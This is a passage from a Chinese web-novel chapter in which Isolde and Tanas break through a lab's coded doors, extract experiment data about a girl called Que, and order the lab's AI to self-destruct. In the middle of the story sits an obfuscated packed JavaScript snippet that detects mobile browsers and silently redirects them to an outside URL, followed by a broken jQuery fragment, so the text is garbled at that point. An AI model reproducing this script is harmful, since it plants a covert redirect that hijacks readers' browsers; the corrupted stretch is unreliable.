“数据,数据。”苏珊提醒她。
“我记得...是在中心对吧?”伊索尔德辨认了一下方向,顺手把阿尔法也抄起来,放到肩膀上,“唔,在那边。上了很多锁...”
“需要密码的。你知道吗?”
“知道一部分吧...我有仔细看那个术士的记忆,但是她记忆力真的很差,有几道门的密码没看到。”伊索尔德随口答道,步伐轻快地穿过长廊,来到一扇铁门面前。
铁门有十几米高,制作的时候使用了特殊的金属,很难用暴力打开。
伊索尔德伸出手,铁门感应到生命的靠近,自发浮现出五个标注着二十七个字符的轮盘。
“我想想...”她的手指落在轮盘上,慢慢将正确的字符拨到正确的位置,“应该是这样。”
齿轮咬合,程序启动,铁门缓缓往里打开,一条幽深而黑暗的通道出现在她们面前。
接下来又是几扇密码各不相同的门,伊索尔德按照“雀”的记忆依次解开,最后在第八扇门前停下了脚步。
“雀”的记忆里没有这扇门。
“塔纳斯。”伊索尔德睁大眼睛看她,“帮一下忙嘛。”
塔纳斯失笑,她上前一步,身影虚幻一瞬,眨眼间出现在了门的另一边。
她用自己的能力扭曲了铁门的内部解构,在不惊动主程序的情况下从里打开了门。
最后一扇门在伊索尔德面前自发向两边打开。
门的对面是微笑着的塔纳斯。
“如您所愿。”
——
实验室的全貌出现在她们眼前,尽管废弃多年,里面的清洁程序依然兢兢业业运转着,巨大的屏幕中央记录着实验的全部数据,上面的日期停留在十五年前,以主屏幕为中心,周围陆陆续续散开了十几个房间,它们用透明材料隔开,从各个角度都可以看见里面的景象。
实验台、药剂室、换衣间、禁闭室、寒光闪闪的手术刀与断裂的项圈......
每一台仪器的表面都光洁如新,有的实验台上还残留着被晕染出的深色痕迹,没有被收拢的拘束带落在地上,时不时的,上面闪过些许跳跃的蓝色电弧。
辅助研究员进行试验的AI仍在运转,它向伊索尔德发出了问询。
【当前并未检测到访客许可。警告。】
“密钥380298,”伊索尔德将空白终端插入接口,双手搭在操作台上,面无表情地报出“雀”的身份id,“解锁实验启动以来的全部数据。”
【当前并未检测到!%&...当前...*09*...】
【数据已解锁。欢迎您的回归。检测到您当前心情不佳,我能为您做什么吗?】
“解锁数据。”伊索尔德说。
【正在解锁。请稍候。】
数据流瀑布一般倾泻而下,在那些虚拟的字符之间,无数份档案被归拢合并,伊索尔德看见了八岁的雀,眼睛很圆,脸上带点婴儿肥,她直直看着镜头,目光空洞而遥远。
伊索尔德的心情更不好了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909076|154277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不耐烦地敲了敲操作台。
【解锁完成。】
屏幕上的进度条走到了尽头,伊索尔德把终端拔出来。
“你有没有搭载自毁程序?”她忽然问。
AI给出了肯定的回答。
“销毁数据,自毁程序解锁。”伊索尔德说,“十分钟之后把这里炸毁。”
【已加入日志。将在十分钟后启动自毁程序。】
实验室里开始不断响起让研究员外出进行避难的广播声。
伊索尔德借着刚刚的临时链接命令外面昏迷的人群自行离开,数据流投下的光影在她脸上明灭不定,那些闪烁的光点像暗火一样点亮了她的眼睛,此刻,她看起来比北境的风雪还要冰冷而无情。
“这里马上会坍塌。”她头也不回,“要走了。”
终端接收到的数据里包含了所有参与人员的资料,尽管不排除其中有用来混淆视线的烟雾弹,但依然足够伊索尔德顺藤摸瓜找出所有与此有关的人。
在这种时候,她反而笑了一下。
冷冰冰的,锋利的,如刀锋一样令人不寒而栗的。
“我有点生气。”她慢慢地说,“塔纳斯,我改主意了,你先带着雀回去吧,她的情况不能拖下去了。”
塔纳斯点头,手搭在了雀的肩膀上。
“那您呢?”雀小声问。
伊索尔德回过头笑了一下,柔软而甜蜜的,仿佛抽出镰刀的死神:“我有点事要做。”
她的神情很温柔:“刚好顺路。”